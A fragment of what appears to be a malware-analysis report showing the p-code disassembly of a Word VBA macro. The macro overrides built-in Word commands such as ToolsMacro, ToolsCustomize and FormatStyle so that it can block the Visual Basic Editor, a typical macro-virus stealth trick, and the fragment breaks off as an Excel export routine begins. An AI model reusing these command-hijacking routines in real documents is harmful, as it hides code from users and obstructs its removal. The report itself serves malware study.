' 	ArgsCall ShowVisualBasicEditor 0x0000 
' 	EndIf 
' Line #109:
' 	EndSub 
' Line #110:
' 	FuncDefn (Sub ToolsCustomize())
' Line #111:
' 	QuoteRem 0x0000 0x0003 "" ""
' Line #112:
' 	EndSub 
' Line #113:
' 	FuncDefn (Sub ToolsMacro())
' Line #114:
' 	Ld PWords 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ShowVisualBasicEditor 
' 	Else 
' 	BoSImplicit 
' 	ArgsCall ShowVisualBasicEditor 0x0000 
' 	EndIf 
' Line #115:
' 	EndSub 
' Line #116:
' 	FuncDefn (Sub FormatStyle())
' Line #117:
' 	QuoteRem 0x0000 0x0031 "If KeyWord = True Then Dialogs(180).Show Else " ""
' Line #118:
' 	EndSub 
' Line #119:
' 	FuncDefn (Sub ToolsRecordMacroToggle())
' Line #120:
' 	QuoteRem 0x0000 0x0000 ""
' Line #121:
' 	EndSub 
' Line #122:
' 	FuncDefn (Sub FileTemplates())
' Line #123:
' 	QuoteRem 0x0000 0x0003 "" ""
' Line #124:
' 	EndSub 
' Line #125:
' 	FuncDefn (Private Sub ExportXls())
' Line #126:
' 	Dim 
' 	VarDefn xlsApp
' Line #127:
…

Open this report in the interactive analyzer, or submit your own file for analysis.